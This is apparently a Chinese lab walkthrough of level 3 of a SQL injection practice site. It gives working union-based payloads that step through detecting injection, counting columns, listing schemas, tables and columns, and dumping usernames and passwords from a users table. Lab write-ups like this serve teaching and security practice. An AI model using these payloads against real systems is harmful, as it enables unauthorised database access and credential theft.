打开第三关
1,判断注入类型:根据提示看出这关的注入类型是**单引号和单括号**型注入
测试:/?id=1') and 1=1 --+回显正常
/?id=1') and 1=2 回显出错误
判断为字符型注入
2,判断有几个字段可显示数据
/?id=1') order by 3 --+ 回显正常
/?id=1') order by 4 --+ 回显错误,说明最大有3个字段可显示数据
3,使用union select 1,2,3 联合查询有几个显示位
/?id=-1') union select 1,2,3 --+
此处是-1而不是1,因为1是正常数字会占用显示位置,回显可知,能看到的数据显示位只有2,3
4,查看数据库名和版本名
/?id=-1') union select 1,database(),version() --+
回显数据库名security
5,爆破出数据库内的数据库名
/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+
6,爆破出security数据库内的表名
/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
7,利用sql爆破出users数据库表的列名
/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
8,利用sql爆出username,password的值
/?id=-1') union select 1,group_concat(username),group_concat(password)from security.users --+